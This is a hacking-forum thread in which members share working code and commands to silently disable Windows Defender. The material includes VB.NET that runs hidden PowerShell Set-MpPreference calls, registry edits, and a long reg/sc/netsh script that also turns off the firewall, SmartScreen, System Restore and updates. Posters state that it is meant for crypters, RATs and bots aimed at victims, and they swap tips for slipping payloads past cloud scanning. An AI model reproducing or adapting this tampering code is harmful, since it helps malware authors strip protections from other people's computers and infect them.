

Forum:[Hack Forums](#)

Thread: [\[Bypass\] Disable Windows Defender at runtime](#)

NYANxCAT - April 23, 2019, 3:47 am

I saw many members complaining about WD detection and yes, WD is very aggressive and stupid.

This method will permanently disable wd + wd samples submission without PC reboot or notification (immediate effect)

I wrote it using C# but you can convert it to any language.

Video

[Video: <https://www.youtube.com/watch?v=8T0ySZdOu4k>]

Download

github.com/NYAN-x-CAT/Disable-Windows-Defender

asdox - April 23, 2019, 4:10 am

Great shit Nyan!

Is there an easy way to re-enable it again?

NYANxCAT - April 23, 2019, 4:17 am

(Apr 23, 2019 04:10 AM)asdox Wrote: [\[CITE\]](#) Great shit Nyan!

Is there an easy way to re-enable it again?

Sure, change values from true to false. I hope this will be helpful for crypters developers.

QU?CKSILVER - April 23, 2019, 4:24 am

So this is basically Windows Defender tampering via Powershell, right?

Nosfir - April 23, 2019, 5:17 am

I'm almost positive this won't work a large chunk of the time.. this is not by any means some new tactic, and WD will re-enable itself after system reboot

QU?CKSILVER - April 23, 2019, 5:21 am

(Apr 23, 2019 05:17 AM)Nosfir Wrote: [\[CITE\]](#) I'm almost positive this won't work a large chunk of the time.. this is not by any means some new tactic, and WD will re-enable itself after system reboot

It can be permanently disabled via the Registry

Nyan should include this:

Code Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]

"DisableAntiSpyware"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection]

"DisableBehaviorMonitoring"=dword:00000001

"DisableOnAccessProtection"=dword:00000001

"DisableScanOnRealtimeEnable"=dword:00000001

NYANxCAT - April 23, 2019, 5:22 am

(Apr 23, 2019 04:24 AM)QU?CKSILVER Wrote: [\[CITE\]](#) So this is basically Windows Defender tampering via Powershell, right?Yes

(Apr 23, 2019 05:17 AM)Nosfir Wrote: [\[CITE\]](#) I'm almost positive this won't work a large chunk of the time.. this is not by any means some new tactic, and WD will re-enable itself after system reboot
You didn't understand my thread. This will prevent WD from scanning files [without] restart the PC and without notification... it's a silent code.

WD will not re-enable itself. you should try it first. or at least compare it to other methods.

(Apr 23, 2019 05:21 AM)QU?CKSILVER Wrote: [\[CITE\]](#) It can be permanently disabled via the Registry

Nyan should include this:

Code Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]

"DisableAntiSpyware"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection]

"DisableBehaviorMonitoring"=dword:00000001

"DisableOnAccessProtection"=dword:00000001

"DisableScanOnRealtimeEnable"=dword:00000001

Ok. Try your code then run any malware.

Then

try my code and run the same malware again.

if you do this you will understand this thread.

Nosfir - April 23, 2019, 5:41 am

I have tested this WD will re enable itself

This is no new method it's quite old

QU?CKSILVER - April 23, 2019, 5:46 am

(Apr 23, 2019 05:22 AM)??` NYAN CAT ?? Wrote: [\[CITE\]](#) Yes

You didn't understand my thread. This will prevent WD from scanning files [without] restart the PC and without notification... it's a silent code.

WD will not re-enable itself. you should try it first. or at least compare it to other methods.

Ok. Try your code then run any malware.

Then

try my code and run the same malware again.

if you do this you will understand this thread.

I get it, your version disables it permanently, never said it didn't. But it's always good to set the registry parameters to ensure it will never enable itself again.

NYANxCAT - April 23, 2019, 5:57 am

(Apr 23, 2019 05:41 AM)Nosfir Wrote: [\[CITE\]](#) I have tested this WD will re enable itself

This is no new method it's quite old

It should not re-enable WD. BUT you can also add this method to your payload.

VIDEO => <https://www.youtube.com/watch?v=Wh6O9pwY40U>

I didn't say it's new. I said this method will disable wd without restarting the pc and without notification. that's all.

(Apr 23, 2019 05:46 AM)QU?CKSILVER Wrote: [\[CITE\]](#) I get it, your version disables it permanently, never said it didn't. But it's always good to set the registry parameters to ensure it will never enable itself again.

I feel so sad now ?. you didn't read my code.

1- <http://prntscr.com/nfrnvq>

2- <http://prntscr.com/nfrorq>

Alpha_Coder - April 23, 2019, 6:01 am

Nice project, i like ur projects, and i have a project if u can help me with it, its about CODEDOM, and i can pay for it.

QU?CKSILVER - April 23, 2019, 6:22 am

(Apr 23, 2019 05:57 AM)??` NYAN CAT ?? Wrote: [\[CITE\]](#) I feel so sad now ?. you didn't read my code.

My bad, now I just realized your code does change the registry ?

Well then, awesome ?

The only way Microsoft could circumvent this from happening would be to disable settings modification via Powershell.

Cyber Coder - April 23, 2019, 9:31 am

good, now, after you build your program in the main windows, use a browser to download it into the vm simulating a real world scenario instead of drag&drop,make sure defender is up and running including the cloud scan , try this 2-3 times and see what happens

NYANxCAT - April 23, 2019, 10:09 am

(Apr 23, 2019 09:31 AM)Cyber Coder Wrote: [\[CITE\]](#) good, now, after you build your program in the main windows, use a browser to download it into the vm simulating a real world scenario instead of drag&drop,make sure defender is up and running including the cloud scan , try this 2-3 times and see what happens

Ok

EDIT: btw there are no 2-3times, once it executed WD will be gone... that's the point of this thread you know...

Cyber Coder - April 23, 2019, 10:13 am

(Apr 23, 2019 10:09 AM)??` NYAN CAT ?? Wrote: [\[CITE\]](#) Ok

EDIT: btw there are no 2-3times, once it executed WD will be gone... that's the point of this thread you know...

i said 2-3 times because wd cloud scan sometimes glitches

according to my test you will get detected before even having the chance to execute your file to disable it but who knows, maybe they changed some policies , i did this tests half a year ago

let me know the honest results, i'm curious

NYANxCAT - April 23, 2019, 10:17 am

(Apr 23, 2019 10:13 AM)Cyber Coder Wrote: [\[CITE\]](#) i said 2-3 times because wd cloud scan

sometimes glitches

according to my test you will get detected before even having the chance to execute your file to disable it but who knows, maybe they changed some policies , i did this tests half a year ago

let me know the honest results, i'm curious

<https://www.youtube.com/watch?v=qQcR4e6Ky8Q>

C# version. I'm too lazy to write ps1 and vbs version.

?

Cyber Coder - April 23, 2019, 10:26 am

(Apr 23, 2019 10:17 AM)??` NYAN CAT ?`? Wrote: [\[CITE\]](#)

<https://www.youtube.com/watch?v=qQcR4e6Ky8Q>

C# version. I'm too lazy to write ps1 and vbs version.

?

interesting , ill have to try myself with chrome and direct exe download when i setup a vm
could be that defender changed some policies regarding detections as i ended up having the same results at this guy in my old tests

https://www.youtube.com/watch?time_continue=2&v=QRB5dxBmk5E

thanks for taking your time

NYANxCAT - April 23, 2019, 10:34 am

(Apr 23, 2019 10:26 AM)Cyber Coder Wrote: [\[CITE\]](#) interesting , ill have to try myself with chrome and direct exe download when i setup a vm

could be that defender changed some policies regarding detections as i ended up having the same results at this guy in my old tests

https://www.youtube.com/watch?time_continue=2&v=QRB5dxBmk5E

thanks for taking your time

Mar 13, 2018 well that's old

Do you know MS changed WD behavior a long time ago? I read an article about it last year.

Also, You need to be ready for dotNET4.8, the preview version is already out. It won't let you use reflection to load buffer into memory, WD will block it unless you use my method before calling your payload. I have tried almost all tut about bypassing it but it didn't work anymore. but now I know how to bypass AMSI dotNET4.8

You are welcome and good luck. ?

Nosfir - April 23, 2019, 10:38 am

(Apr 23, 2019 10:34 AM)??` NYAN CAT ?`? Wrote: [\[CITE\]](#) Mar 13, 2018 well that's old

Do you know MS changed WD behavior a long time ago? I read an article about it last year.

Also, You need to be ready for dotNET4.8, the preview version is already out. It won't let you use reflection to load buffer into memory, WD will block it unless you use my method before calling your payload. I have tried almost all tut about bypassing it but it didn't work anymore. but now I know how to bypass AMSI dotNET4.8

You are welcome and good luck. ?

This is why native is better...

QU?CKSILVER - April 23, 2019, 10:45 am

(Apr 23, 2019 10:17 AM)??` NYAN CAT ?? Wrote: [\[CITE\]](https://www.youtube.com/watch?v=qQcR4e6Ky8Q)
<https://www.youtube.com/watch?v=qQcR4e6Ky8Q>

C# version. I'm too lazy to write ps1 and vbs version.

?

Try downloading the binary itself unzipped from the Internet, then running it. I think Windows Defender looks at the zoneid of the file to determine whether to do cloud scanning or not, just like many antiviruses.

vbs and ps1 version will probably do the trick.

iCoreX - April 23, 2019, 10:47 am

Thanks, that's what I searched with "RunPS"!

NYANxCAT - April 23, 2019, 10:50 am

(Apr 23, 2019 10:45 AM)QU?CKSILVER Wrote: [\[CITE\]](#) Try downloading the binary itself unzipped from the Internet, then running it. I think Windows Defender looks at the zoneid of the file to determine whether to do cloud scanning or not, just like many antiviruses.

vbs and ps1 version will probably do the trick.

Yeah, PS1 loader would be great. You should just add this feature to a crypter or open source RAT.

copy&paste and call it from entrypoint

campusminger - April 23, 2019, 10:50 am

Thank you

Worked for me .

Hopefully soon I'll use this when I make crypter

QU?CKSILVER - April 23, 2019, 10:55 am

(Apr 23, 2019 10:50 AM)??` NYAN CAT ?? Wrote: [\[CITE\]](#) Yeah, PS1 loader would be great. You should just add this feature to a crypter to RAT. copy&paste and call it inside the entrypoint.

Well, let's enjoy ps1 files while they last. MS will probably do the same thing they did with .vbs and .js

iCoreX - April 23, 2019, 10:57 am

If anyone is too lazy to make it in VB here is it:

Code Public Class Form1

```
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    RunPS("Set-MpPreference -DisableRealtimeMonitoring $true")
    RunPS("Set-MpPreference -DisableBehaviorMonitoring $true")
    RunPS("Set-MpPreference -DisableBlockAtFirstSeen $true")
    RunPS("Set-MpPreference -DisableIOAVProtection $true")
    RunPS("Set-MpPreference -DisablePrivacyMode $true")
    RunPS("Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true")
    RunPS("Set-MpPreference -DisableArchiveScanning $true")
    RunPS("Set-MpPreference -DisableScriptScanning $true")
    RunPS("Set-MpPreference -SubmitSamplesConsent Never")
    RunPS("Set-MpPreference -MAPSReporting 0")
End Sub
```

```

Private Shared Sub RunPS(ByVal args As String)
    Try
        Dim ps As ProcessStartInfo = New ProcessStartInfo()
        ps.FileName = "powershell.exe"
        ps.Arguments = args
        ps.WindowStyle = ProcessWindowStyle.Hidden
        Dim process As Process = New Process()
        process.StartInfo = ps
        process.Start()
    Catch
    End Try
End Sub
End Class

```

C3r34IK1I13r - April 23, 2019, 11:02 am

Thanks for share, im going to take a look and recode it in c/cpp

NYANxCAT - April 23, 2019, 11:03 am

(Apr 23, 2019 10:57 AM)iCoreX Wrote: [\[CITE\]](#) If anyone is too lazy to make it in VB here is it:

Code Public Class Form1

```

Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    RunPS("Set-MpPreference -DisableRealtimeMonitoring $true")
    RunPS("Set-MpPreference -DisableBehaviorMonitoring $true")
    RunPS("Set-MpPreference -DisableBlockAtFirstSeen $true")
    RunPS("Set-MpPreference -DisableIOAVProtection $true")
    RunPS("Set-MpPreference -DisablePrivacyMode $true")
    RunPS("Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true")
    RunPS("Set-MpPreference -DisableArchiveScanning $true")
    RunPS("Set-MpPreference -DisableScriptScanning $true")
    RunPS("Set-MpPreference -SubmitSamplesConsent Never")
    RunPS("Set-MpPreference -MAPSReporting 0")
End Sub

```

```

Private Shared Sub RunPS(ByVal args As String)

```

```

    Try
        Dim ps As ProcessStartInfo = New ProcessStartInfo()
        ps.FileName = "powershell.exe"
        ps.Arguments = args
        ps.WindowStyle = ProcessWindowStyle.Hidden
        Dim process As Process = New Process()
        process.StartInfo = ps
        process.Start()
    Catch
    End Try
End Sub
End Class

```

Thanks for VB version. but using it will pop-up a notification 'protection is off'

iCoreX - April 23, 2019, 11:05 am

(Apr 23, 2019 11:03 AM)??` NYAN CAT ?? Wrote: [\[CITE\]](#) Thanks for VB version. but using it will pop-up a notification 'protection is off'

For me it didn't throw any notification, I don't know what's sometimes wrong with windefender..

NYANxCAT - April 23, 2019, 11:06 am

(Apr 23, 2019 11:05 AM)iCoreX Wrote: [\[CITE\]](#) For me it didn't throw any notification, I don't know what's sometimes wrong with windefender..

Maybe it's already off? try to restore your snapshot

(Apr 23, 2019 11:02 AM)C3r34IK1lI3r Wrote: [\[CITE\]](#) Thanks for share, im going to take a look and recode it in c/cpp
glad it helped you

MagicianMan32 - April 23, 2019, 2:54 pm

(Apr 23, 2019 09:31 AM)Cyber Coder Wrote: [\[CITE\]](#) good, now, after you build your program in the main windows, use a browser to download it into the vm simulating a real world scenario instead of drag&drop,make sure defender is up and running including the cloud scan , try this 2-3 times and see what happensThe odd thing happens because windows defender varies according to windows version

for example the protection layers in windows 10 19 aren't like those in windows 10 15

so It depends on whether the victims country has got the upgrade or not yet

It's better practice to download the latest version of windows to test windows defender and not use just any version , as I have fall in this mistake myself

for the cloud thing you can pump your file to something like 200 Megabytes , but when you zip it , it gets shrinked to its original size , thus preventing the cloud scanner from uploading it
also splitting your file into two modules , a dll and an exe that invokes it will do , as the cloud will upload the exe which only has Class1.main on it

also hosting you RAT bytes online or in a database or embedding them inside a picture and drop it beside your dll and exe is good idea

I've read an article about a guy using entropy analysis (statistics and mathematics and shit) to detect the entry point of packed exes , of course I didn't understand shit except that the guy had a success rate of 85% doing so which made me scream what the hell

so they can detect if I'm having another exe hidden inside my exe even if it's encrypted !

anyways in a nutshell

pump your exe

split it into dll and exe

hide your bytes somewhere else from your main exe

Cyber Coder - April 23, 2019, 4:04 pm

@nyan i'm here again just to tell you i was partially right.

I've done dozens of test and man this av is just retarded

Getting to the point, 1st of all, all files that were fine with drag and drop were detected when i was using a browser(chrome)

ok i started making the file as light as possible and changed tons of stuff and finally got a point where even when using a browser defender was quiet

so my downloads folder started having about 10 files already that had no detection, some of my tests were detected some weren't

Ok now the strange thing happen, i kept getting detected no matter what so i went back to the 100% sure settings that i knew they had no detection and guess what...now they were detected.

I went to my downloads folder and all of over 10+ successful tests started being detected now and deleted (sample submission was disabled) , most of this files were legit files

so i went ahead and reverted the snapshot before my test and of course, things got back to normal and i was able to bypass it with the method i knew it was working

so it is clearly to me that after doing more tests it gets into some paranoid mode that detects even blank files

i will test again in next days but at least now i know i have to revert the snapshot if i dont want to shoot myself when it gets in that paranoid mode

NYANxCAT - April 23, 2019, 11:30 pm

(Apr 23, 2019 04:04 PM)Cyber Coder Wrote: [\[CITE\]](#) @nyan i'm here again just to tell you i was partially right.

I've done dozens of test and man this av is just retarded

Getting to the point, 1st of all, all files that were fine with drag and drop were detected when i was using a browser(chrome)

ok i started making the file as light as possible and changed tons of stuff and finally got a point where even when using a browser defender was quiet

so my downloads folder started having about 10 files already that had no detection, some of my tests were detected some weren't

Ok now the strange thing happen, i kept getting detected no matter what so i went back to the 100% sure settings that i knew they had no detection and guess what...now they were detected.

I went to my downloads folder and all of over 10+ successful tests started being detected now and deleted (sample submission was disabled), most of this files were legit files

so i went ahead and reverted the snapshot before my test and of course, things got back to normal and i was able to bypass it with the method i knew it was working

so it is clearly to me that after doing more tests it gets into some paranoid mode that detects even blank files

i will test again in next days but at least now i know i have to revert the snapshot if i dont want to shoot myself when it gets in that paranoid mode

Thanks for the feedback.

I always use zip+pass to bypass av + chrome + upload website. It's better that way.

Also, the idea here is to disable wd and make it stop submit samples. So you should use my class with your legit application.

Transporter007 - April 24, 2019, 1:44 am

I was using .reg and it enable auto after windows update. Will try this.

Can you pm me the LimeRAT executable link?

Keep up the good work!

The Masked Pear - April 24, 2019, 3:24 am

Does it need admin right?

Good work by the way :)

CyberStrike - April 24, 2019, 6:22 am

I remember about 2 years ago there was a story about how AV makers got caught uploading samples even with submission disabled. I for the life of me cannot find this story anymore, but I specifically recall it.

arroncrascall - April 24, 2019, 6:32 am

Seen rating is illegal why would you use this on some ones computer when its illegal to even talk about it hear on HF

JustNothing - April 24, 2019, 7:50 am

(Apr 23, 2019 10:34 AM)??` NYAN CAT ?? Wrote: [\[CITE\]](#) Mar 13, 2018 well that's old

Do you know MS changed WD behavior a long time ago? I read an article about it last year.

Also, You need to be ready for dotNET4.8, the preview version is already out. It won't let you use reflection to load buffer into memory, WD will block it unless you use my method before calling your payload. I have tried almost all tut about bypassing it but it didn't work anymore. but now I know how to bypass AMSI dotNET4.8

You are welcome and good luck. ?

so it's only get blocked if the bin that I try to load is detected everything else wouldn't make sense. Kindly pm me ?

NYANxCAT - April 24, 2019, 7:52 am

(Apr 24, 2019 06:22 AM)CyberStrike Wrote: [\[CITE\]](#) I remember about 2 years ago there was a story about how AV makers got caught uploading samples even with submission disabled. I for the life of me cannot find this story anymore, but I specifically recall it.

I wouldn't be surprised if MS + WD uploading samples while the submission is disabled.

(Apr 24, 2019 07:50 AM)Adderall. Wrote: [\[CITE\]](#) so it's only get blocked if the bin that I try to load is detected everything else wouldn't make sense.

Kindly pm me ?

You are right it would be none sense. But net4.8 is still preview and not official so we have to wait.

DNS Leak - April 24, 2019, 11:13 am

(Apr 24, 2019 07:52 AM)??` NYAN CAT ?`? Wrote: [\[CITE\]](#) I wouldn't be surprised if MS + WD uploading samples while the submission is disabled.

You are right it would be none sense. But net4.8 is still preview and not official so we have to wait. If file is executed without admin rights does this still will work or no ?

CyberStrike - April 24, 2019, 12:17 pm

(Apr 24, 2019 07:52 AM)??` NYAN CAT ?`? Wrote: [\[CITE\]](#) I wouldn't be surprised if MS + WD uploading samples while the submission is disabled.

Think about it, story comes out and all of the sudden it's gone, I specifically remember it. Also think about this who would disable submission someone who is developing something, it's a good way to get the drop on potentially a malicious group or individual. That said also MSFT works and cooperates fully with governments, let's say that some non-friendly group against the USA gets some detection (sloppy attackers happen) and now they have some of their malware uploaded the sample is forwarded to the US Govt and now they are ready.

etizolamvendor - April 24, 2019, 2:01 pm

THANK YOU I WILL ADD THIS TO MY HTTP BOT AY

YAK_CODER - April 26, 2019, 10:48 am

(Apr 23, 2019 10:13 AM)Cyber Coder Wrote: [\[CITE\]](#) i said 2-3 times because wd cloud scan sometimes glitches

according to my test you will get detected before even having the chance to execute your file to disable it but who knows, maybe they changed some policies , i did this tests half a year ago let me know the honest results, i'm curiousThats the point bro

cloud bassed protection will kill and delete your virus on reboot
second point you get your virus body from internet? (suppose no internet connection)

the good point here and i read on other thread here too

is to sperate (the virus body+setting) and use a (loader - this loader will be added to startup) for them

that way next reboot cloud bassed protection will check the startup thing(the loader)
it will bypass as its have no strange resouce or embeded data like virus and setting
and the only loader job is now loading the virus and the setting
i personally add it on my crypter as an option

Demo

[Video: <https://www.youtube.com/watch?v=miflVjsZeto&feature=youtu.be>]

NYANxCAT - April 26, 2019, 12:44 pm

(Apr 26, 2019 10:48 AM)crypt4u Wrote: [\[CITE\]](#) Thats the point bro

cloud bassed protection will kill and delete your virus on reboot
second point you get your virus body from internet? (suppose no internet connection)

the good point here and i read on other thread here too
is to sperate (the virus body+setting) and use a (loader - this loader will be added to startup) for them

that way next reboot cloud bassed protection will check the startup thing(the loader)
it will bypass as its have no strange resouce or embeded data like virus and setting
and the only loader job is now loading the virus and the setting
i personally add it on my crypter as an option

"cloud bassed protection will kill and delete your virus on reboot"

can you compile the wd disable code and run it + restart pc on windows 10? I would love to see and fix it if wd re-enable itself.

YAK_CODER - April 26, 2019, 11:32 pm

(Apr 26, 2019 12:44 PM)??` NYAN CAT ?`? Wrote: [\[CITE\]](#) can you compile the wd disable code and run it + restart pc on windows 10? I would love to see and fix it if wd re-enable itself.

i will pm you with my registry that will stop wd service - windows update-system restoor-uac- and so many usefull other things even with reboot

i use it to create wd dll file to be used on my crypter

```
Code reg add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t "REG_DWORD" /d "4" /f
```

```
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t "REG_DWORD" /d "0" /f
```

```
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "AUOptions" /t "REG_DWORD" /d "2" /f
```

```
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "ScheduledInstallDay" /t "REG_DWORD" /d "0" /f
```

```
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "ScheduledInstallTime" /t "REG_DWORD" /d "3" /f
```

```
reg add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t "REG_DWORD" /d "4" /f
```

```
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t "REG_DWORD" /d "1" /f
```

```
reg add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t "REG_DWORD" /d "4" /f
```

```
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
```

```
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR " /t "REG_DWORD" /d "1" /f
```

```
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v
```

```

"DisableConfig" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
Reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
Reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
Reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
Reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t "REG_DWORD" /d "0" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "AUOptions" /t "REG_DWORD" /d "2" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "ScheduledInstallDay" /t "REG_DWORD" /d "0" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "ScheduledInstallTime" /t "REG_DWORD" /d "3" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t "REG_SZ" /d "Off" /f
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t "REG_SZ" /d "Off" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
Reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /f
Reg add "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsftedge_8wekyb3d8bbwe\MicrosoftEdge\PhishingFilter" /f
Reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /f
sc stop windefend
sc delete windefend
netsh firewall set opmode disable
netsh advfirewall set currentprofile state off
net stop wuauserv
net stop bits
REG add "HKLM\SYSTEM\CurrentControlSet\services\MpsSvc" /v Start /t REG_DWORD /d 4 /f
REG add "HKLM\SYSTEM\CurrentControlSet\services\wscsvc" /v Start /t REG_DWORD /d 4 /f
REG add "HKLM\SYSTEM\CurrentControlSet\services\SENS" /v Start /t REG_DWORD /d 4 /f
sc delete "wscsvc"[Video: https://www.youtube.com/watch?v=dbWri0msmWY&t=28s]

```

NYANxCAT - April 27, 2019, 3:13 am

(Apr 26, 2019 11:32 PM)crypt4u Wrote: [\[CITE\]](#) i will pm you with my registry that will stop wd service - windows update-system restoor-uac- and so many usefull other things even with reboot i use it to create wd dll file to be used on my crypter
Code reg add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t "REG_DWORD" /d "4" /f

```
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t "REG_DWORD" /d "0" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "AUOptions" /t "REG_DWORD" /d "2" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "ScheduledInstallDay" /t "REG_DWORD" /d "0" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "ScheduledInstallTime" /t "REG_DWORD" /d "3" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t "REG_DWORD" /d "4" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t "REG_DWORD" /d "4" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
Reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t "REG_DWORD" /d "1" /f
Reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t "REG_DWORD" /d "1" /f
Reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t "REG_DWORD" /d "1" /f
Reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t "REG_DWORD" /d "0" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "AUOptions" /t "REG_DWORD" /d "2" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "ScheduledInstallDay" /t "REG_DWORD" /d "0" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "ScheduledInstallTime" /t "REG_DWORD" /d "3" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t "REG_SZ" /d "Off" /f
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t "REG_SZ" /d "Off" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
Reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /f
Reg add "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedg
```

```
e_8wekyb3d8bbwe\MicrosoftEdge\PhishingFilter" /f
Reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /f
sc stop windefend
sc delete windefend
netsh firewall set opmode disable
netsh advfirewall set currentprofile state off
net stop wuauserv
net stop bits
REG add "HKLM\SYSTEM\CurrentControlSet\services\MpsSvc" /v Start /t REG_DWORD /d 4 /f
REG add "HKLM\SYSTEM\CurrentControlSet\services\wscsvc" /v Start /t REG_DWORD /d 4 /f
REG add "HKLM\SYSTEM\CurrentControlSet\services\SENS" /v Start /t REG_DWORD /d 4 /f
sc delete "wscsvc"
```

Thanks you for your codes but I already know it. I was asking if wd will re-enable itself after restart pc or not. I wi love if you test it on your win10 vmware.

Viotto01 - April 27, 2019, 3:34 am

(Apr 24, 2019 06:22 AM)CyberStrike Wrote: [\[CITE\]](#) I remember about 2 years ago there was a story about how AV makers got caught uploading samples even with submission disabled. I for the life of me cannot find this story anymore, but I specifically recall it.

Yes, I proved that myself with ESET, specifically.

ESET steals your files, even with all the privacy settings properly set.

YAK_CODER - April 27, 2019, 4:18 am

(Apr 27, 2019 03:13 AM)??` NYAN CAT ?? Wrote: [\[CITE\]](#) Thanks you for your codes but I already know it. I was asking if wd will re-enable itself after restart pc or not. I wi love if you test it on your win10 vmware.

whith reading your registry i know it will enable itself again

as you forget disable the service itself from group policy

add this line and it will not enable itself on restart

```
Code reg add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t "REG_DWORD" /d
"4" /f
```

```
reg add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t "REG_DWORD" /d
"4" /f
```

```
reg add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t "REG_DWORD" /d
"4" /f
```

